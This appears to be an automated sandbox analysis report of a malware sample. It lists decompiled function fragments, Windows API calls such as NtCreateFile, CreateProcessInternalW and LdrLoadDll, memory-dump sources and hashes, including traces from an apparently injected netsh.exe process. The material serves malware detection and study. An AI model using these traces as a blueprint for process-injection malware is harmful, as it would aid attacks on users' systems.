Instruction Fuzzy Hash: 22E01AB12002086BDB10DF49CC85EE737ADEF88650F018555BA0C67241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0B0, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A0B0(intOrPtr _a4, int _a8) {
				void* _t10;
				void* _t11;

				E0041A960(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_a4 + 0xa14)), 0, 0x36, _t11);
				ExitProcess(_a8);
			}

0x0041a0ca
0x0041a0d8

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: eb2c75e7f7166c4cf28644cd9339eacac336c717648a3dafe3de7fd5e277bb7f
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 4CD017726102187BD620EB99CC85FD777ACDF48BA0F0584A9BA5C6B242C531BA108AE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040E429, Relevance: 1.3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E0040E429(signed int __eax, void* __edi) {
				void* _t26;
				void* _t36;

				asm("sbb esi, [edi+0x42]");
				 *(__eax %  *[ds:0xb3420e44]) =  *(__eax %  *[ds:0xb3420e44]) << 1;
				_pop(ds);
				if((__eax /  *[ds:0xb3420e44] ^ 0x000000ff) < 0) {
					E0041B7E0(_t36 + 0x113e0 +  *(_t36 + 0x112b8) * 2, _t36 + 0x112d8, 4);
					 *(_t36 + 0x112b8) =  *(_t36 + 0x112b8) + 2;
					E0040DE50(_t36, 2);
					return 1;
				} else {
					_pop(_t26);
					asm("adc eax, 0x6c633096");
					asm("stosd");
					asm("lodsb");
					asm("xlatb");
					asm("insd");
					asm("invalid");
					asm("a16 nop");
					return _t26;
				}
			}

0x0040e432
0x0040e435
0x0040e438
0x0040e43b
0x0040e4c3
0x0040e4c8
0x0040e4d2
0x0040e4df
0x0040e43d
0x0040e43d
0x0040e43e
0x0040e443
0x0040e444
0x0040e44a
0x0040e450
0x0040e451
0x0040e455
0x0040e460
0x0040e460

Strings

D++k, xrefs: 0040E44B

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: D++k
API String ID: 0-2906324174
Opcode ID: 6bac89fb3bd5d4584cacc826572f6b3afe9f4b8bcb2eb6fb920bab463128b479
Instruction ID: 1ea7df09cf0419312a9f41af48d6958d40c66a72805f5aa74d14514d0b080052
Opcode Fuzzy Hash: 6bac89fb3bd5d4584cacc826572f6b3afe9f4b8bcb2eb6fb920bab463128b479
Instruction Fuzzy Hash: F4F02877B006004BC7199E5CE841AE6F3A1DBC13A5F44122EE61CAB081C635746583D9

Uniqueness

Uniqueness Score: -1.00%

Function 004172F1, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a03a881def8a968cf2f41a6a42fd64c3b4378961ea0ffb0ee92d31875b4dfb
Instruction ID: bd58307b6372431ef7377495694448e696e73d3a42eaec9fa33494ec46b1c5b4
Opcode Fuzzy Hash: 72a03a881def8a968cf2f41a6a42fd64c3b4378961ea0ffb0ee92d31875b4dfb
Instruction Fuzzy Hash: 3FA00117F850580144245C8A78410B4E3A4D187076D5472A7DE0CB35006402C425019D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: netsh.exe PID: 7088 Parent PID: 3472 netsh.exeCOMMON

Executed Functions

Function 00189D5A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00184B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00184B87,007A002E,00000000,00000060,00000000,00000000), ref: 00189DAD

Strings

.z`, xrefs: 00189D9D, 00189DA8

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 52011c3c90f6022b1a3037fe1c867182a0a0891215738472d93c30b25fe58ddd
Instruction ID: b7e520f4a01f028830e1450dec387167faabeef7c4ab78becefa292b07038e94
Opcode Fuzzy Hash: 52011c3c90f6022b1a3037fe1c867182a0a0891215738472d93c30b25fe58ddd
Instruction Fuzzy Hash: 6001A4B6204108BFDB58CF98DC95EEB77A9AF8C754F158248FA5D97241C631E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00189D60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00184B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00184B87,007A002E,00000000,00000060,00000000,00000000), ref: 00189DAD

Strings

.z`, xrefs: 00189D9D, 00189DA8

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: f0028e6145560cde3a4e4b2744734533fc5c4a03e92543547b72ce76c0247b67
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 10F0B2B2204208ABCB08DF88DC85EEB77ADAF8C754F158248FA0D97241C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00189E10, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00184D42,5EB6522D,FFFFFFFF,00184A01,?,?,00184D42,?,00184A01,FFFFFFFF,5EB6522D,00184D42,?,00000000), ref: 00189E55

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: f915663ab351c487164b6d7a7fce284fee37850d9baabe5ab26aa2a0ebfa50bb
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 74F0A4B2200208ABDB14DF89DC81EEB77ADEF8C754F158249BA1DA7241D630E911CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00189E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00184D20,?,?,00184D20,00000000,FFFFFFFF), ref: 00189EB5

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 63c6cc40c37bcb6cc820236924a2e4d6a8ce452adfda28a62c55d299c0a2ffd0
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 85D012756002146BD710EB98CC85E97775CEF44750F154495BA585B242C530F60087E0

Uniqueness

Uniqueness Score: -1.00%

Function 00D89840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D8984A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f3ea67a923b0ee6b3270c4c89211a40a4ca28264862998c94b2bb712293a979
Instruction ID: a1247f6c9bab23aec040c85d4828bcd069a2b68fc3eccc3a6c9f7d2431e2ec4f
Opcode Fuzzy Hash: 6f3ea67a923b0ee6b3270c4c89211a40a4ca28264862998c94b2bb712293a979
Instruction Fuzzy Hash: 77900261242041565B45B15945045075007A7E4381791C022A1404960C85669C96E671

Uniqueness

Uniqueness Score: -1.00%

Function 00D89860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D8986A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d4051bd5976effb00b85b5a6db18554cc935e22b9e2accc6711709036539ed29
Instruction ID: aa58cb5494b61e4094a134e908a71812e37c8b6b8d9249e78b06ed37d672e334
Opcode Fuzzy Hash: d4051bd5976effb00b85b5a6db18554cc935e22b9e2accc6711709036539ed29
Instruction Fuzzy Hash: CA90027120100417D71161594604707100A97D4381F91C422A0414568D96968D92F171

Uniqueness

Uniqueness Score: -1.00%

Function 00D895D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D895DA

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f0dda8d1b35096b8be8b61f9b9710b362d63dd5f38a747e01384930d9a59237f
Instruction ID: 94b5e9c18ff7b563eee7a46d7d6a83f6f671f283c650f3c109c9312b1b4b9743
Opcode Fuzzy Hash: f0dda8d1b35096b8be8b61f9b9710b362d63dd5f38a747e01384930d9a59237f
Instruction Fuzzy Hash: 949002A120200007470571594514616500B97E4341B51C031E10045A0DC5658CD1B175

Uniqueness

Uniqueness Score: -1.00%

Function 00D899A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D899AA

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dfe335071b2c11c0bd45f0fbf5d5d6bbf3dc05625a15fe371e654307e8c3c135
Instruction ID: ab5c018058a297bb3ba452b671059e430f7c26da3fa5e1dc04c4cba5d6a16c36
Opcode Fuzzy Hash: dfe335071b2c11c0bd45f0fbf5d5d6bbf3dc05625a15fe371e654307e8c3c135
Instruction Fuzzy Hash: 109002A134100446D70061594514B061006D7E5341F51C025E1054564D8659CC92B176

Uniqueness

Uniqueness Score: -1.00%

Function 00D89540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D8954A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9ff136164d2ecfb15b99985bcc15af2b0281b2bd3be22def085c5539d10ca799
Instruction ID: e14dda13d34afb7cbbb5413833e04b6ee98255f8d99228b66d495978a637a83d
Opcode Fuzzy Hash: 9ff136164d2ecfb15b99985bcc15af2b0281b2bd3be22def085c5539d10ca799
Instruction Fuzzy Hash: A8900265211000070705A5590704507104797D9391351C031F1005560CD6618CA1A171

Uniqueness

Uniqueness Score: -1.00%

Function 00D89910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D8991A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7282a8baa5ca84125ae3bafca44f483f05e7606f6bd8efba24dbbe27d5061fc7
Instruction ID: 877170a8f0af4681e1535ba1f9ced6effb1dffedbe1a48e5f2e984c0bf918a21
Opcode Fuzzy Hash: 7282a8baa5ca84125ae3bafca44f483f05e7606f6bd8efba24dbbe27d5061fc7
Instruction Fuzzy Hash: 279002B120100406D74071594504746100697D4341F51C021A5054564E86998DD5B6B5

Uniqueness

Uniqueness Score: -1.00%

Function 00D896D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D896DA

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dfc3f483ba2960aa3d276654f07c6aad308eaa928675089a193d96c35e47531e
Instruction ID: 3e33777271e18337597038fa99493badf2367d5012df63001e6bd8313bb4c624
Opcode Fuzzy Hash: dfc3f483ba2960aa3d276654f07c6aad308eaa928675089a193d96c35e47531e
Instruction Fuzzy Hash: C390027120100846D70061594504B46100697E4341F51C026A0114664D8655CC91B571

Uniqueness

Uniqueness Score: -1.00%

Function 00D896E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D896EA

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 42880751580920e99cbf06382d67b15d79a42b9d1619b31f4545e2599dff248f
Instruction ID: 2d78d0087171970ced7bbc8ef85014fee904a4d87db68b139256652349594bc7
Opcode Fuzzy Hash: 42880751580920e99cbf06382d67b15d79a42b9d1619b31f4545e2599dff248f
Instruction Fuzzy Hash: 2590027120108806D7106159850474A100697D4341F55C421A4414668D86D58CD1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00D89A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D89A5A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 77369545f6fe901cef077bd6c920d25c2d43dc4621f1c348a6e08445125e17da
Instruction ID: a56a145c78dccc88046d16381dc8b496d14272256e9f7c3d050cf2b78644eac9
Opcode Fuzzy Hash: 77369545f6fe901cef077bd6c920d25c2d43dc4621f1c348a6e08445125e17da
Instruction Fuzzy Hash: 6090026121180046D70065694D14B07100697D4343F51C125A0144564CC9558CA1A571

Uniqueness

Uniqueness Score: -1.00%

Function 00D89FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D89FEA

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c2e7f3d3811155d7e6e960eeb18e29660c8adc2b4616c6c2405bf90f98dcec3
Instruction ID: dec7533630542979d48682a87685a6824009aad5dd93ab975e06dcdf0b3896ab
Opcode Fuzzy Hash: 3c2e7f3d3811155d7e6e960eeb18e29660c8adc2b4616c6c2405bf90f98dcec3
Instruction Fuzzy Hash: 7F90027131114406D71061598504706100697D5341F51C421A0814568D86D58CD1B172

Uniqueness

Uniqueness Score: -1.00%

Function 00D89780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D8978A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3065278f05d9b1a7961c7259e3a0785e99ee17e37ec177a021bde6a361ace3af
Instruction ID: 30581c30f5e5adc3e44c4a0d77d94ebf67bbc5fb59c0c499dc432ed477787f6e
Opcode Fuzzy Hash: 3065278f05d9b1a7961c7259e3a0785e99ee17e37ec177a021bde6a361ace3af
Instruction Fuzzy Hash: 4190026921300006D7807159550860A100697D5342F91D425A0005568CC9558CA9A371

Uniqueness

Uniqueness Score: -1.00%

Function 00D89710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D8971A

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7786400db2cb696aabe1db079855bb7ff9ad1ba1395152e49d3aada246e4ed6e
Instruction ID: 3b74e3a976a8beec99adfeb4743d75235d34c6a6dfb462402c0a86ed102a789e
Opcode Fuzzy Hash: 7786400db2cb696aabe1db079855bb7ff9ad1ba1395152e49d3aada246e4ed6e
Instruction Fuzzy Hash: 0C90027120100406D70065995508646100697E4341F51D021A5014565EC6A58CD1B171

Uniqueness

Uniqueness Score: -1.00%

Function 0018A0A2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00173AF8), ref: 0018A09D

Strings

.z`, xrefs: 0018A08C, 0018A098

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 2bf74252af5eda8c5d2327dc0090f3072bf8c92222bfe32d0686ef9d43c92925
Instruction ID: bd29af1c2269daf603fb774b461e1710c501d77b91764cb3a32761b065fa5629
Opcode Fuzzy Hash: 2bf74252af5eda8c5d2327dc0090f3072bf8c92222bfe32d0686ef9d43c92925
Instruction Fuzzy Hash: E2F09AB62482046FDB04EFA8DC81D9737A8EF85214F19859AFC9857202C232EA14CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0018A070, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00173AF8), ref: 0018A09D

Strings

.z`, xrefs: 0018A08C, 0018A098

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 0c3b739d2d36202254566405f3f5678770285ea133ad59abc143c1fcee9c0056
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 38E04FB12002086BD714EF59CC45EA777ACEF88750F018555FD0857241C630F910CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 001782B7, Relevance: 3.1, APIs: 2, Instructions: 58threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0017834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0017836B

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: be3dc32b487c8bf0294efde7b0d8173582f4eb560dcd122811986fa35515391a
Instruction ID: fc7549a5e53af6f8ce3847bc309e26eb9c8e2d16ef869dd293ab5256a16bb9d8
Opcode Fuzzy Hash: be3dc32b487c8bf0294efde7b0d8173582f4eb560dcd122811986fa35515391a
Instruction Fuzzy Hash: 300124316802287AEB20A6889C46FFE332CAF50B15F044149FA08BA1C2DB956A0547E5

Uniqueness

Uniqueness Score: -1.00%

Function 001782F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0017834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0017836B

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 044c298a1d06f307a8119cdef661a26d78d53576b52967b50bafe86328bcddef
Instruction ID: 10ae78e66258c038c91d993659f66e10e5c08c6533d5e5374665e7947a107751
Opcode Fuzzy Hash: 044c298a1d06f307a8119cdef661a26d78d53576b52967b50bafe86328bcddef
Instruction Fuzzy Hash: EE01D431A802287BE720A6989C47FBE772C6B50F50F044114FB08BA1C1EB946A0647F6

Uniqueness

Uniqueness Score: -1.00%

Function 0017ACD0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0017AD42

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: 53930d583126791249ae16f9ceec1ce697f2c6592b11e844c13044faf5866d41
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: 48010CB6D0020DABDB10EAE4EC42F9DB3789F64308F1081A5A90997241F771EB548BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0018A0DD, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0018A134

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 0866ea1636eae008d1435bd921299407aff7d8734022911b59dc23108afb914f
Instruction ID: 8ec002b46deec7c7b5f4d4305ecc1bd747faa5f646128a423a774c87f6002920
Opcode Fuzzy Hash: 0866ea1636eae008d1435bd921299407aff7d8734022911b59dc23108afb914f
Instruction Fuzzy Hash: C901F6B6204108BFCB08DF89CC80EEB37ADAF8C354F158248FA4D97241C630E841CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0018A0E0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0018A134

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: a5ba3bec55f3119477e1154b79d75c06d47873ff863134747bfba92b3966e405
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 8401B2B2214108BFCB54DF89DC80EEB77ADAF8C754F158258FA0DA7241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0018A1C8, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0017F1A2,0017F1A2,?,00000000,?,?), ref: 0018A200

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 7a97db4af4887cf14c826a2e3486b0b15f9c0a9b387962d7d2a0a822a1ebedf1
Instruction ID: c59a6932133747259b626e1ef6f119225a0ffd9637c87987c0613096bf051050
Opcode Fuzzy Hash: 7a97db4af4887cf14c826a2e3486b0b15f9c0a9b387962d7d2a0a822a1ebedf1
Instruction Fuzzy Hash: ABF06DB16042186FDB14EF94DC85DEB7769EF84724F01849AFD485B242D635EA10CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 0017AD4B, Relevance: 1.5, APIs: 1, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0017AD42

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 40ddbc86f9352e3fcdcc8f5a7d791e9644b24642f8cebb6f52011add2a06063a
Instruction ID: 0de021c1097401b80eb1848634c7ef8495d74994375137aa024ecd82abafbba3
Opcode Fuzzy Hash: 40ddbc86f9352e3fcdcc8f5a7d791e9644b24642f8cebb6f52011add2a06063a
Instruction Fuzzy Hash: 8AF030B5E00109ABEB10DB94EC42F9DB774EB94708F508294E91C96141F771EB058B91

Uniqueness

Uniqueness Score: -1.00%

Function 0018A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0017F1A2,0017F1A2,?,00000000,?,?), ref: 0018A200

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 109f92025d5a1f4429aa92b299c3b845962b99b1c676eef6e2d3213bfb6db34b
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 22E01AB16002086BDB10EF49CC85EE737ADEF88650F018155FA0867241CA34E9108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0017F6A0, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00178CF4,?), ref: 0017F6CB

Memory Dump Source

Source File: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
